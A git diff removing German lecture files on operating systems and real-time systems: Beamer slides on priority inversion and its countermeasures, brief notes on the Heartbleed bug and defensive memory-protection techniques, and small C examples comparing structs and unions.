-      \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
-      \put(0,1){\line(1,0){10}}
-
-      \pause
-
-      \put(4.6,2){{\color{lightyellow}\rule{0.4cm}{0.4cm}}}
-      \put(5.7,2){{\color{lightyellow}\rule{1.3cm}{0.4cm}}}
-      \put(7.7,2){{\color{lightyellow}\rule{0.4cm}{0.4cm}}}
-      \put(0,2){\line(1,0){10}}
-
-    \end{picture}
-  \end{center}
-
-\end{frame}
-
-\subsectionnonumber{Prioritäten \protect\color{darkgray}und Ressourcen}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  \only<4->{%
-    Der höher priorisierte Prozeß bewirkt selbst,\\
-    daß er eine Ressource verspätet bekommt.
-
-    \medskip
-
-    \textarrow\ \newterm{begrenzte Prioritätsinversion}
-
-    \medskip
-
-    maximale Verzögerung: Länge des kritischen Bereichs
-  }
-
-  \vspace{0cm plus 1filll}
-
-  \begin{center}
-    \begin{picture}(11,4)(-1,0)
-      \small
-
-      \put(-0.1,0.5){\vector(1,0){10.1}}
-      \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
-      \put(0,0.4){\vector(0,1){3.6}}
-      \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
-
-      \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-      \only<1-2>{\put(3,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}}
-      \only<3->{\put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}}
-      \only<3-4>{%
-        \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        \put(4.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}}
-        {\thicklines
-        \put(3.3,2.95){\line(2,1){1.0}}
-        \put(3.3,3.45){\line(2,-1){1.0}}}
-      }
-      \only<5->{%
-        \put(3.9,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        \put(4.7,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}}
-      }
-      \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}}
-      \only<1-2>{%
-        \put(5.4,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        \put(6.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}}
-      }
-      \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-      \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
-      \put(0,3){\line(1,0){10}}
-
-      \only<2->{%
-        \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
-        \put(1.5,1){{\color{lightgreen}\rule{1.5cm}{0.4cm}}}
-        \put(2.6,1){{\color{medgreen}\rule{0.4cm}{0.4cm}}}
-        \only<2-4>{%
-          \put(3.7,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}}
-          \put(4.2,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
-        }
-        \only<5->{%
-          \put(3.4,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}}
-          \put(4.9,1){{\color{lightgreen}\rule{0.1cm}{0.4cm}}}
-          \put(5.6,1){{\color{lightgreen}\rule{0.2cm}{0.4cm}}}
-        }
-        \put(7.7,1){{\color{lightgreen}\rule{1.3cm}{0.4cm}}}
-        \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
-        \put(0,1){\line(1,0){10}}
-      }
-    \end{picture}
-  \end{center}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  \visible<4->{%
-    Ein Prozeß mit mittlerer Priorität bewirkt,
-    daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
-    \medskip
-
-  \textarrow\ }\newterm{unbegrenzte Prioritätsinversion}
-
-  \pause
-  \vspace{0cm plus 1filll}
-
-  \begin{center}
-    \begin{picture}(11,4)(-1,0)
-      \small
-
-      \put(-0.1,0.5){\vector(1,0){10.1}}
-      \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
-      \put(0,0.4){\vector(0,1){3.6}}
-      \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
-
-      \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-      \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}
-      \only<2>{%
-        \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        \put(4.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}}
-        {\thicklines
-        \put(3.3,2.95){\line(2,1){1.0}}
-        \put(3.3,3.45){\line(2,-1){1.0}}}
-        \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}}
-        \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-        \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
-      }
-      \put(0,3){\line(1,0){10}}
-
-      \only<2->{%
-        \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
-        \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}}
-        \alt<1-4>{%
-          \put(2.6,1){{\color{medgreen}\rule{0.4cm}{0.4cm}}}
-        }{%
-          \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}}
-        }
-        \only<2>{%
-          \put(3.7,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}}
-          \put(4.2,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
-        }
-        \only<3-4>{%
-          \put(3.4,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}}
-%          \put(3.9,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
-        }
-        \only<2>{%
-          \put(7.7,1){{\color{lightgreen}\rule{1.3cm}{0.4cm}}}
-          \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
-        }
-        \put(0,1){\line(1,0){10}}
-      }
-
-      \only<5->{%
-        \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}}
-        \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}}
-        \put(0,2){\line(1,0){10}}
-      }
-    \end{picture}
-  \end{center}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ein Prozeß mit mittlerer Priorität bewirkt,
-  daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
-  \medskip
-
-  \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
-
-  \medskip
-
-  Beispiel: Beinahe-Verlust der Marssonde \emph{Pathfinder\/} im Juli 1997
-
-  \only<1>{%
-    \begin{center}
-      \includegraphics[width=8.5cm]{pathfinder.jpg}
-      \vspace*{-1.5cm}
-    \end{center}
-  }
-
-  \bigskip
-
-  \only<2>{%
-    Gegenmaßnahmen
-    \begin{itemize}
-      \item
-        \newterm{Priority Inheritance -- Prioritätsvererbung}\\
-        Der Besitzer des Mutex erbt die Priorität\\
-        des Prozesses, der auf den Mutex wartet.
-    \end{itemize}
-
-    \bigskip
-
-    \begin{minipage}{7.0cm}
-      \begin{flushright}
-        \url{http://research.microsoft.com/en-us/\\um/people/mbj/Mars\_Pathfinder/}
-      \end{flushright}
-    \end{minipage}
-
-    \vspace{-0.2cm}\strut\hfill\makebox(0,0)[br]{\includegraphics[height=2.7cm]{pathfinder.jpg}}\vspace*{-1cm}
-  }
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ein Prozeß mit mittlerer Priorität bewirkt,
-  daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
-  \medskip
-
-  \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
-
-  \bigskip
-
-  Gegenmaßnahme: \newterm{Priority Inheritance -- Prioritätsvererbung}
-
-  \vspace{0cm plus 1filll}
-
-  \begin{center}
-    \begin{picture}(11,4)(-1,0)
-      \small
-
-      \put(-0.1,0.5){\vector(1,0){10.1}}
-      \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
-      \put(0,0.4){\vector(0,1){3.6}}
-      \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
-
-      \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
-      \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}}
-      \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}}
-      \put(0,1){\line(1,0){10}}
-
-      \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}}
-      \only<1-2>{%
-        \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}}
-      }
-      \put(0,2){\line(1,0){10}}
-
-      \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-      \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}
-      \put(0,3){\line(1,0){10}}
-
-      \only<2>{%
-        \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        {\thicklines
-        \put(3.3,2.95){\line(2,1){1.0}}
-        \put(3.3,3.45){\line(2,-1){1.0}}}
-      }
-
-      \only<3->{%
-        \put(3.4,3){{\color{medgreen}\rule{0.7cm}{0.4cm}}}
-        \put(4.1,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        \put(5.7,2){{\color{lightyellow}\rule{1.3cm}{0.4cm}}}
-        \put(4.9,3){{\color{lightorange}\rule{0.8cm}{0.4cm}}}
-        \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-        \put(7.5,2){{\color{lightyellow}\rule{1.5cm}{0.4cm}}}
-        \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
-        \put(9.7,2){{\color{lightyellow}\rule{0.3cm}{0.4cm}}}
-      }
-    \end{picture}
-  \end{center}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ein Prozeß mit mittlerer Priorität bewirkt,
-  daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
-  \medskip
-
-  \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
-
-  \bigskip
-
-  Gegenmaßnahme: \newterm{Priority Ceiling -- Prioritätsobergrenze}
-
-  \vspace{0cm plus 1filll}
-
-  \begin{center}
-    \begin{picture}(11,4)(-1,0)
-      \small
-
-      \put(-0.1,0.5){\vector(1,0){10.1}}
-      \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
-      \put(0,0.4){\vector(0,1){3.6}}
-      \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
-
-      \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
-      \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}}
-%      \only<1>{%
-%        \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}}
-%      }
-      \put(0,1){\line(1,0){10}}
-
-%      \only<1>{%
-%        \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}}
-%        \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}}
-%      }
-      \put(0,2){\line(1,0){10}}
-
-      \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-%      \only<1>{%
-%        \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}
-%      }
-      \put(0,3){\line(1,0){10}}
-
-%      \only<2>{%
-%      \only<2>{%
-        \put(2.6,3){{\color{medgreen}\rule{0.9cm}{0.4cm}}}
-        \put(3.5,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}
-        \put(3.9,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        \put(4.7,3){{\color{lightorange}\rule{0.8cm}{0.4cm}}}
-        \put(5.5,2){{\color{lightyellow}\rule{1.5cm}{0.4cm}}}
-        \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-        \put(7.5,2){{\color{lightyellow}\rule{1.5cm}{0.4cm}}}
-        \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
-        \put(9.7,2){{\color{lightyellow}\rule{0.3cm}{0.4cm}}}
-%      }
-    \end{picture}
-  \end{center}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ein Prozeß mit mittlerer Priorität bewirkt,
-  daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
-  \medskip
-
-  \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
-
-  \medskip
-
-  Beispiel: Beinahe-Verlust der Marssonde \emph{Pathfinder\/} im Juli 1997
-
-  \bigskip
-
-  Gegenmaßnahmen
-  \begin{itemize}
-    \item
-      \newterm{Priority Inheritance -- Prioritätsvererbung}\\
-      Der Besitzer des Mutex erbt die Priorität\\
-      des Prozesses, der auf den Mutex wartet.
-    \smallskip
-    \item
-      \newterm{Priority Ceiling -- Prioritätsobergrenze}\\
-      Der Besitzer des Mutex bekommt sofort\\
-      die Priorität des höchstmöglichen Prozesses,\\
-      der evtl.\ den Mutex benötigen könnte.
-      \pause
-      \begin{picture}(0,0)
-        \put(1.2,1.45){\makebox(0,0)[l]{$\left\}\rule{0pt}{1.7cm}\right.$
-          \begin{minipage}{4cm}
-            nur möglich, wenn\\
-            Mutexe im Spiel sind
-          \end{minipage}}}
-      \end{picture}
-    \smallskip
-    \pause
-    \item
-      \newterm{Priority Aging}\\
-      Die Priorität wächst mit der Wartezeit.
-  \end{itemize}
-  \vspace*{-1cm}
-
-\end{frame}
-
-\fi
-
-\end{document}
diff --git a/20220530/bs-20220530.txt b/20220530/bs-20220530.txt
deleted file mode 100644
index dcddaaeb641645b4d94488f62d06d1c7f337ec4b..0000000000000000000000000000000000000000
--- a/20220530/bs-20220530.txt
+++ /dev/null
@@ -1,44 +0,0 @@
-Die Heartbleed-Sicherheitslücke, 30.05.2022, 13:18:29
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Sicherheitslücke in OpenSSL
-
-Protokollschwäche: Im sog. Heartbeat ("Herzschlag") kommt es zu einer
-Art Pufferüberlauf.
-
-Erklärung: https://xkcd.com/1354/
-
-Der Kryptologe und Sicherheitsexperte Bruce Schneier beschreibt die Tragweite
-des Heartbleed-Bug als:
-
-  "Catastrophic is the right word. On the scale of 1 to 10, this is an 11."
-
-  "Katastrophal ist das richtige Wort. Auf einer Skala von 1 bis 10 ist dies eine 11."
-
-Was hilft gegen derartige Sicherheitslücken? 30.05.2022, 13:28:10
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Keine Programmierfehler machen.
-
- * ordentlich programmieren
-    - ordentlich einrücken
-    - Compiler-Warnungen aktivieren und beachten
-
- * automatische Code-Analyse
-    - Compiler: gcc oder llvm mit Warnungen
-    - statisch: [sp]lint, sparse (cgcc)
-      automatische Suche nach typischen Fehlern
-    - dynamisch: valgrind
-      ausführbares Programm wird auf Speicherfehler analysiert
-   --> finden viele, aber nicht alle Fehler
-
- * Speicherschutzmechanismen des Compilers und des Betriebssystems
-    - Hardware-Unterstützung: Data Execution Prevention: Das Betriebssystem markiert
-      das Stack-Segment als "nicht ausführbar" (DEP/NX - siehe: Speicherverwaltung)
-    - Canary ("Kanarienvogel" - Begriff aus dem Bergbau: Bevor die Luft für Menschen
-      zu schlecht wird, bekommt ein Kanarienvogel Probleme.)
-      "Kanarienvogel" auf dem Stack: "Ungenutzte", initialisierte Variable.
-      Vor dem Rücksprung prüft das Programm, ob die "Kanarienvogel"-Variable
-      noch den richtigen Wert hat.
-    - Address Space Layout Randomization (ASLR): http://heise.de/-2718449
-      Bei jedem Programmstart liegen das Programm und die genutzten Bibliotheken
-      an anderen Adressen.
-    - Austricksen: http://security.stackexchange.com/questions/20497
diff --git a/20220530/logo-hochschule-bochum-cvh-text.pdf b/20220530/logo-hochschule-bochum-cvh-text.pdf
deleted file mode 120000
index a05946126bc0ce6a2818740da2893f59eb0c659c..0000000000000000000000000000000000000000
--- a/20220530/logo-hochschule-bochum-cvh-text.pdf
+++ /dev/null
@@ -1 +0,0 @@
-../common/logo-hochschule-bochum-cvh-text.pdf
\ No newline at end of file
diff --git a/20220530/logo-hochschule-bochum.pdf b/20220530/logo-hochschule-bochum.pdf
deleted file mode 120000
index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000
--- a/20220530/logo-hochschule-bochum.pdf
+++ /dev/null
@@ -1 +0,0 @@
-../common/logo-hochschule-bochum.pdf
\ No newline at end of file
diff --git a/20220530/pgslides.sty b/20220530/pgslides.sty
deleted file mode 120000
index 5be1416f4216f076aa268901f52a15d775e43f64..0000000000000000000000000000000000000000
--- a/20220530/pgslides.sty
+++ /dev/null
@@ -1 +0,0 @@
-../common/pgslides.sty
\ No newline at end of file
diff --git a/20220530/rp6.jpg b/20220530/rp6.jpg
deleted file mode 100644
index 1695afb690b4fb78878236a1efd0d5c6328370f4..0000000000000000000000000000000000000000
Binary files a/20220530/rp6.jpg and /dev/null differ
diff --git a/20220530/unions-00.c b/20220530/unions-00.c
deleted file mode 100644
index f68e43c81cbfd655002a3469b3237326f61695d5..0000000000000000000000000000000000000000
--- a/20220530/unions-00.c
+++ /dev/null
@@ -1,17 +0,0 @@
-#include <stdio.h>
-#include <stdint.h>
-
-typedef struct
-{
-  uint8_t x;
-  int8_t y;
-} data;
-
-int main (void)
-{
-  data d;
-  d.x = 7;
-  d.y = -1;
-  printf ("d.x = %d, d.y = %d\n", d.x, d.y);
-  return 0;
-}
diff --git a/20220530/unions-01.c b/20220530/unions-01.c
deleted file mode 100644
index 11bec6672e9f18154d4389f08df6c033d374a500..0000000000000000000000000000000000000000
--- a/20220530/unions-01.c
+++ /dev/null
@@ -1,17 +0,0 @@
-#include <stdio.h>
-#include <stdint.h>
-
-typedef union
-{
-  uint8_t x;
-  int8_t y;
-} data;
-
-int main (void)
-{
-  data d;
-  d.x = 7;
-  d.y = -1;
-  printf ("d.x = %d, d.y = %d\n", d.x, d.y);
-  return 0;
-}
diff --git a/20220530/unions-02.c b/20220530/unions-02.c
deleted file mode 100644
index 6164625d183863e6c26a3ce2a77546e04964b064..0000000000000000000000000000000000000000
--- a/20220530/unions-02.c
+++ /dev/null
@@ -1,17 +0,0 @@
-#include <stdio.h>
-#include <stdint.h>
-
-typedef union
-{
-  uint8_t x;
-  int8_t y;
-} data;
-
-int main (void)
-{
-  data d;
-  d.y = -1;
-  d.x = 7;
-  printf ("d.x = %d, d.y = %d\n", d.x, d.y);
-  return 0;
-}
diff --git a/20220613/Retribution_Engine_Screenshot_120807.jpg b/20220613/Retribution_Engine_Screenshot_120807.jpg
deleted file mode 120000
index 19f4cb3e4aae1e24c3466a25b2c0e5ad90ee49e7..0000000000000000000000000000000000000000
--- a/20220613/Retribution_Engine_Screenshot_120807.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/Retribution_Engine_Screenshot_120807.jpg
\ No newline at end of file
diff --git a/20220613/Telefon_t-sinus-700.jpg b/20220613/Telefon_t-sinus-700.jpg
deleted file mode 120000
index 27c322c50b0f05edc8b07cfb0cc99b1876eb506d..0000000000000000000000000000000000000000
--- a/20220613/Telefon_t-sinus-700.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/Telefon_t-sinus-700.jpg
\ No newline at end of file
diff --git a/20220613/a380.jpg b/20220613/a380.jpg
deleted file mode 120000
index 33a5d1fd18843bf7385e5a6d90f69af9fd8720da..0000000000000000000000000000000000000000
--- a/20220613/a380.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/a380.jpg
\ No newline at end of file
diff --git a/20220613/bs-20220613-fig1.tex b/20220613/bs-20220613-fig1.tex
deleted file mode 100644
index 0a3f89c7ebdd5d6ac3af00b895ef878d43f8a4f0..0000000000000000000000000000000000000000
--- a/20220613/bs-20220613-fig1.tex
+++ /dev/null
@@ -1,11 +0,0 @@
-\documentclass{article}
-\input tmp.inputs
-\pagestyle{empty}
-\begin{document}
-      \begin{pspicture}(6,2)
-        \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
-        \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
-        \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6)
-      \end{pspicture}
-    
-\end{document}
diff --git a/20220613/bs-20220613-fig2.tex b/20220613/bs-20220613-fig2.tex
deleted file mode 100644
index 0a3f89c7ebdd5d6ac3af00b895ef878d43f8a4f0..0000000000000000000000000000000000000000
--- a/20220613/bs-20220613-fig2.tex
+++ /dev/null
@@ -1,11 +0,0 @@
-\documentclass{article}
-\input tmp.inputs
-\pagestyle{empty}
-\begin{document}
-      \begin{pspicture}(6,2)
-        \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
-        \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
-        \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6)
-      \end{pspicture}
-    
-\end{document}
diff --git a/20220613/bs-20220613-fig3.tex b/20220613/bs-20220613-fig3.tex
deleted file mode 100644
index 0a3f89c7ebdd5d6ac3af00b895ef878d43f8a4f0..0000000000000000000000000000000000000000
--- a/20220613/bs-20220613-fig3.tex
+++ /dev/null
@@ -1,11 +0,0 @@
-\documentclass{article}
-\input tmp.inputs
-\pagestyle{empty}
-\begin{document}
-      \begin{pspicture}(6,2)
-        \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
-        \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
-        \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6)
-      \end{pspicture}
-    
-\end{document}
diff --git a/20220613/bs-20220613-fig4.tex b/20220613/bs-20220613-fig4.tex
deleted file mode 100644
index 0a3f89c7ebdd5d6ac3af00b895ef878d43f8a4f0..0000000000000000000000000000000000000000
--- a/20220613/bs-20220613-fig4.tex
+++ /dev/null
@@ -1,11 +0,0 @@
-\documentclass{article}
-\input tmp.inputs
-\pagestyle{empty}
-\begin{document}
-      \begin{pspicture}(6,2)
-        \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
-        \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
-        \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6)
-      \end{pspicture}
-    
-\end{document}
diff --git a/20220613/bs-20220613.pdf b/20220613/bs-20220613.pdf
deleted file mode 100644
index 9bb2d01cab317d4fd7b70a283fbf56e4efd76983..0000000000000000000000000000000000000000
Binary files a/20220613/bs-20220613.pdf and /dev/null differ
diff --git a/20220613/bs-20220613.tex b/20220613/bs-20220613.tex
deleted file mode 100644
index 3a6e00ad27e66211093dd6357df8f4d277727df7..0000000000000000000000000000000000000000
--- a/20220613/bs-20220613.tex
+++ /dev/null
@@ -1,1627 +0,0 @@
-% bs-20220613.pdf - Lecture Slides on Operating Systems
-% Copyright (C) 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022  Peter Gerwinski
-%
-% This document is free software: you can redistribute it and/or
-% modify it either under the terms of the Creative Commons
-% Attribution-ShareAlike 3.0 License, or under the terms of the
-% GNU General Public License as published by the Free Software
-% Foundation, either version 3 of the License, or (at your option)
-% any later version.
-%
-% This document is distributed in the hope that it will be useful,
-% but WITHOUT ANY WARRANTY; without even the implied warranty of
-% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-% GNU General Public License for more details.
-%
-% You should have received a copy of the GNU General Public License
-% along with this document.  If not, see <http://www.gnu.org/licenses/>.
-%
-% You should have received a copy of the Creative Commons
-% Attribution-ShareAlike 3.0 Unported License along with this
-% document.  If not, see <http://creativecommons.org/licenses/>.
-
-\documentclass[10pt,t]{beamer}
-
-\usepackage{pgslides}
-\usepackage{rotating}
-\usepackage{pdftricks}
-\usepackage[obeyfamily=false,mathrm=mathsf,textrm=sffamily]{siunitx}
-\usepackage{eurosym}
-\usepackage{tikz}
-
-\begin{psinputs}
-  \usepackage[latin1]{inputenc}
-  \usepackage[german]{babel}
-  \usepackage[T1]{fontenc}
-  \usepackage{helvet}
-  \renewcommand*\familydefault{\sfdefault}
-  \usepackage{pstricks}
-  \psset{unit=1cm}
-\end{psinputs}
-
-\title{Treiberentwicklung,\\[\medskipamount]Echtzeit- und Betriebssysteme}
-\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski}
-\date{13.\ Juni 2022}
-
-\begin{document}
-
-\newlength{\normalpdfpageheight}
-\setlength{\normalpdfpageheight}{\pdfpageheight}
-
-\maketitleframe
-
-\setcounter{section}{3}
-\section{Echtzeit}
-\subsection{Was ist Echtzeit?}
-
-\begin{frame}
-  
-  \showsection
-  \showsubsection
-
-  \begin{itemize}
-%    \pause
-    \item
-      Animation in Echtzeit:\\
-      schnelle Berechnung anstatt Wiedergabe einer Aufzeichnung
-%    \pause
-    \medskip
-    \item
-      Fantasy-Rollenspiel in Echtzeit:\\
-      Der Zeitverlauf der Spielwelt entspricht dem der realen Welt.
-%    \pause
-    \medskip
-    \item
-      Datenverarbeitung in Echtzeit:\\
-      Die Daten werden so schnell verarbeitet, wie sie anfallen.
-%    \pause
-    \medskip
-    \item
-      speziell: Echtzeit-Steuerung von Maschinen:\\
-      Die Berechnung kann mit den physikalischen Vorgängen schritthalten.
-%    \pause
-    \bigskip
-    \arrowitem
-      "`Schnell genug."'
-  \end{itemize}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsubsection
-
-  "`Schnell genug."' % \pause
-  -- "`Und wenn nicht?"'
-
-%  \pause
-
-  \begin{itemize}
-    \item
-      "`Ganz schlecht."' % \pause
-      \textarrow\ \newterm{harte Echtzeit}
-      \begin{onlyenv}<1>
-        \begin{picture}(0,0)(0,-0.3)
-%          \pause
-          \put(0,-4){\makebox(0,0)[br]{\includegraphics[height=3.5cm]{a380.jpg}}}
-          % http://de.wikipedia.org/w/index.php?title=Datei:Airbus_A380_overfly.jpg&filetimestamp=20111223141606
-%          \pause
-          \put(0.2,-3.9){\makebox(0,0)[bl]{\includegraphics[height=4.0cm]{quadrocopter.jpg}}}
-          %\put(0.2,-3.5){\makebox(0,0)[bl]{\includegraphics[height=3.5cm]{mercedes-benz-w116.jpg}}}
-          % http://commons.wikimedia.org/wiki/File:1973-1980_Mercedes-Benz_450_SEL_%28W116%29_sedan_%282010-12-28%29_01.jpg
-%          \pause
-          \put(-0.5,-4.2){\makebox(0,0)[tr]{\includegraphics[height=3.5cm]{herzschrittmacher.jpg}}}
-          % http://de.wikipedia.org/w/index.php?title=Datei:Pacemaker_GuidantMeridianSR.jpg&filetimestamp=20051203173642
-%          \pause
-          \put(0,-4){\makebox(0,0)[tl]{\includegraphics[height=3.5cm]{curiosity.jpg}}}
-          % http://mars.jpl.nasa.gov/msl/news/whatsnew/index.cfm?FuseAction=ShowNews&NewsID=1344
-        \end{picture}
-      \end{onlyenv}
-    \pause\\[2pt]
-    rechtzeitiges Ergebnis funktionsentscheidend
-
-    \smallskip
-
-    \pause
-    \item
-      "`Unschön."' \textarrow\ \newterm{weiche Echtzeit}
-      \begin{onlyenv}<3>
-        \begin{picture}(0,0)(0,0.3)
-%          \pause
-          \put(0,-4){\makebox(0,0)[br]{\includegraphics[width=5cm]{Retribution_Engine_Screenshot_120807.jpg}}}
-          % http://en.wikipedia.org/wiki/File:Retribution_Engine_Screenshot_120807.jpg
-%          \pause
-          \put(0.1,-4.5){\makebox(0,0)[bl]{\includegraphics[width=5cm]{Telefon_t-sinus-700.jpg}}}
-          % http://de.wikipedia.org/w/index.php?title=Datei:Telefon_t-sinus-700.jpg&filetimestamp=20050807203655
-        \end{picture}
-      \end{onlyenv}
-      \pause\\[2pt]
-      verspätetes Ergebnis qualitätsmindernd
-      \begin{itemize}
-        \baselineskip14pt\par
-        \item
-          verwenden und Verzögerung in Kauf nehmen
-        \item
-          verwerfen und Ausfall in Kauf nehmen
-      \end{itemize}
-
-    \smallskip
-
-    \pause
-    \item
-      "`Es gibt keinen festen Termin. Möglichst schnell halt."' % \pause
-      \\[2pt]
-      \textarrow\ \newterm{keine Echtzeit}
-  \end{itemize}
-
-\end{frame}
-
-\begin{frame}[fragile]
-
-  \showsubsection
-
-  Das Problem:
-  \vspace{-\bigskipamount}
-  \begin{center}
-    \begin{picture}(6,2)
-      \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
-      \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
-%      \put(2.75,0.875){\vector(1,3){0.25}}
-%      \put(2.75,0.875){\line(2,1){0.5}}
-%      \put(3.25,1.125){\vector(-1,-3){0.25}}
-      \put(2.70,0.350){\tikz{\draw[latex-latex](0.25,0.625)--(0,-0.12)--(0.5,0.12)--(0.25,-0.625);}}
-    \end{picture}
-%    \begin{pdfpic}
-%      \begin{pspicture}(6,2)
-%        \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
-%        \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
-%        \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6)
-%      \end{pspicture}
-%    \end{pdfpic}
-  \end{center}
-
-%  \pause
-
-  Beispiel:
-  \begin{itemize}
-    \item
-      Eine Motorsteuerung benötigt alle \SI{2000}{\mics} einen Steuerimpuls,\\
-      dessen Berechnung maximal \SI{10}{\mics} dauert.
-%    \pause[3]
-    \item
-      Entweder: Der Steuer-Computer macht noch andere Dinge.\\
-      \textarrow\ Risiko der Zeitüberschreitung
-%    \pause
-    \item
-      Oder: Der Steuer-Computer macht nichts anderes.\\
-      \textarrow\ Verschwendung von Rechenzeit\\
-%      \pause
-      {\color{red}\textarrow\ Na und?}
